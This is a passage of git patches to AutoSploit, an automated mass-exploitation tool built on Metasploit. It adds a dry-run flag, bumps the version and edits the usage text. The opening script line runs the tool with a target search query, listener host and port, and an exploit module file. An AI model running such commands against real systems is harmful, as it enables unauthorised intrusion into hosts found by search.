"${SEARCH_QUERY}" --overwrite --whitelist $WHITELIST -e -C "msf_autorun_${TIMESTAMP}" $LHOST $LPORT --exploit-file-to-use etc/json/default_modules.json --dry-run + python autosploit.py -s -c -q "${SEARCH_QUERY}" --overwrite --whitelist $WHITELIST -e -C "msf_autorun_${TIMESTAMP}" $LHOST $LPORT --exploit-file-to-use etc/json/default_modules.json --dry-run -e fi; diff --git a/lib/exploitation/exploiter.py b/lib/exploitation/exploiter.py index 9b1f8f1..9bdee43 100644 --- a/lib/exploitation/exploiter.py +++ b/lib/exploitation/exploiter.py @@ -67,6 +67,9 @@ def start_exploit(self, sep="*" * 10): """ start the exploit, there is still no rollover but it's being worked """ + if self.dry_run: + lib.settings.close("dry run was initiated, exploitation will not be done") + today_printable = datetime.datetime.today().strftime("%Y-%m-%d_%Hh%Mm%Ss") current_run_path = path.join(lib.settings.RC_SCRIPTS_PATH, today_printable) makedirs(current_run_path) From d39cc7efafd0b39758013e2a2b436d2cf4f6a171 Mon Sep 17 00:00:00 2001 From: Ekultek Date: Fri, 8 Jun 2018 11:18:17 -0500 Subject: [PATCH 22/23] ready for production --- lib/banner.py | 2 +- 1 file changed, 1 insertion(+), 1 deletion(-) diff --git a/lib/banner.py b/lib/banner.py index 4e33e4d..daf7f02 100644 --- a/lib/banner.py +++ b/lib/banner.py @@ -1,7 +1,7 @@ import os import random -VERSION = "2.1" +VERSION = "2.2" def banner_1(line_sep="#--", space=" " * 30): From 5a0cf98aaebb76b81f034fff03c5022d2fbcfb48 Mon Sep 17 00:00:00 2001 From: Ekultek Date: Fri, 8 Jun 2018 11:45:08 -0500 Subject: [PATCH 23/23] minor update for spacing --- lib/cmdline/cmd.py | 1 - 1 file changed, 1 deletion(-) diff --git a/lib/cmdline/cmd.py b/lib/cmdline/cmd.py index ee79166..3bdf024 100644 --- a/lib/cmdline/cmd.py +++ b/lib/cmdline/cmd.py @@ -26,7 +26,6 @@ def optparser(): parser = argparse.ArgumentParser( usage="python autosploit.py -[c|z|s|a] -[q] QUERY\n" - "{spacer}[-C] WORKSPACE LHOST LPORT [-e] [--whitewash] PATH\n" "{spacer}[--ruby-exec] [--msf-path] PATH [-E] EXPLOIT-FILE-PATH\n" "{spacer}[--rand-agent] [--proxy] PROTO://IP:PORT [-P] AGENT".format(